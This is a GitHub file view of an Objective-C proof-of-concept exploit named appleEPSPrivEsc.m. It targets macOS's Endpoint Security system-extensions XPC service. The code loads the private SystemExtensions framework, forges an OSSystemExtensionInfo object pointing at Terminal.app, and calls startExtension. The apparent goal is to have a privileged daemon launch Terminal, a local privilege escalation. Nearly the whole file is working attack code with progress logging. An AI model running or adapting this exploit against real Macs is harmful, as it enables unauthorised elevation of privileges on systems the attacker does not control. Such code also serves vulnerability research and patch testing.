-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathappleEPSPrivEsc.m
144 lines (122 loc) · 5.29 KB
/
appleEPSPrivEsc.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#import <Foundation/Foundation.h>
#include <dlfcn.h>
@protocol OSSystemExtensionPolicyItem
@property(readonly) BOOL modified;
@property BOOL enabled;
@property(readonly) BOOL rebootRequired;
@property(readonly) NSURL *containingAppURL;
@property(readonly) NSURL *stagedBundleURL;
@property(readonly) NSString *bundleVersion;
@property(readonly) NSString *shortVersionString;
@property(readonly) BOOL teamIDNone;
@property(readonly) BOOL teamIDPlatformBinary;
@property(readonly) NSString *teamID;
@property(readonly) NSString *usageDescription;
@property(readonly) NSString *developerName;
@property(readonly) NSString *applicationName;
@property(readonly) NSString *extensionDisplayName;
@property(readonly) NSString *identifier;
@end
@interface OSSystemExtensionInfo : NSObject <NSSecureCoding, OSSystemExtensionPolicyItem>
{
BOOL _enabled;
NSDictionary *_localizedInfo;
NSDictionary *_unlocalizedInfo;
BOOL _teamIDPlatformBinary;
BOOL _teamIDNone;
BOOL _active;
BOOL _rebootRequired;
BOOL _modified;
NSString *_identifier;
NSString *_developerName;
NSArray *_categoryIdentifiers;
NSString *_owningCategoryIdentifier;
NSString *_teamID;
NSString *_shortVersionString;
NSString *_bundleVersion;
NSURL *_containingAppURL;
NSURL *_stagedBundleURL;
NSString *_stagedCdhash;
NSString *_stateString;
NSDictionary *_additionalLaunchdPlistEntries;
}
+ (BOOL)supportsSecureCoding;
@property BOOL modified;
@property BOOL rebootRequired;
@property(retain) NSDictionary *additionalLaunchdPlistEntries;
@property(retain) NSString *stateString;
@property BOOL active;
@property(retain) NSString *stagedCdhash;
@property(retain) NSURL *stagedBundleURL;
@property(retain) NSURL *containingAppURL;
@property(retain) NSString *bundleVersion;
@property(retain) NSString *shortVersionString;
@property BOOL teamIDNone;
@property BOOL teamIDPlatformBinary;
@property(retain) NSString *teamID;
@property(retain) NSString *owningCategoryIdentifier;
@property(retain) NSArray *categoryIdentifiers;
@property(retain) NSString *developerName;
@property(retain) NSString *identifier;
@property(readonly) NSString *usageDescription;
@property(readonly) NSString *extensionDisplayName;
- (id)getLocalizedStringForKey:(id)arg1;
@property(readonly) NSString *applicationName;
@property BOOL enabled;
- (void)encodeWithCoder:(id)arg1;
- (id)initWithCoder:(id)arg1;
- (id)initWithXPCDictionary:(id)arg1;
@end
@protocol _OSSystemExtensionPointInterface <NSObject>
- (void)terminateExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)startExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willReplaceExtension:(OSSystemExtensionInfo *)arg1 withExtension:(OSSystemExtensionInfo *)arg2 replyHandler:(void (^)(NSError *))arg3;
- (void)willUninstallExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willTerminateExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)willStartExtension:(OSSystemExtensionInfo *)arg1 replyHandler:(void (^)(NSError *))arg2;
- (void)validateExtension:(OSSystemExtensionInfo *)arg1 atTemporaryBundleURL:(NSURL *)arg2 replyHandler:(void (^)(NSDictionary *, NSError *))arg3;
@end
#define machServiceName @"com.apple.endpointsecurity.system-extensions"
void *systemExt;
int main(void){
NSLog(@"[!] Attemping to load SystemExtensions for OSSystemExtensionInfoClass");
systemExt = dlopen("/System/Library/Frameworks/SystemExtensions.framework/Versions/Current/SystemExtensions", RTLD_LAZY);
if(systemExt == NULL)
{
NSLog(@"[-] Failed to: Load SystemExtensions framework");
exit(-1);
}
NSLog(@"[+] SystemExtensions Loaded");
Class OSSystemExtensionInfoClass = nil;
NSLog(@"[+] Obtaining OSSystemExtensionInfo");
OSSystemExtensionInfoClass = NSClassFromString(@"OSSystemExtensionInfo");
if (OSSystemExtensionInfoClass == nil)
{
NSLog(@"[-] Failed to: obtain OSSystemExtensionInfo class");
exit(-1);
}
OSSystemExtensionInfo *info = [[OSSystemExtensionInfoClass alloc] init];
info.stagedBundleURL = [NSURL fileURLWithPath:@"/System/Applications/Utilities/Terminal.app"];
NSLog(@"[+] stagedBundleURL set to /System/Applications/Utilities/Terminal.app");
info.identifier = @"com.apple.Terminal";
NSLog(@"[+] identifier set to com.apple.Terminal");
NSLog(@"[+] Setting Up XPC for %@", machServiceName);
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:machServiceName options:0x1000];
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(_OSSystemExtensionPointInterface)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error){
NSLog(@"[-] Error: %@", error);
exit(-1);
}];
NSLog(@"[+] Object: %@", obj);
NSLog(@"[+] Connection: %@", connection);
[obj startExtension:info replyHandler:^void(NSError *error){
if(error != nil){
NSLog(@"[-] Calling StartExtention failed: %@", error);
exit(-1);
}
}];
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"[+] Executed startExtension to start Terminal");
}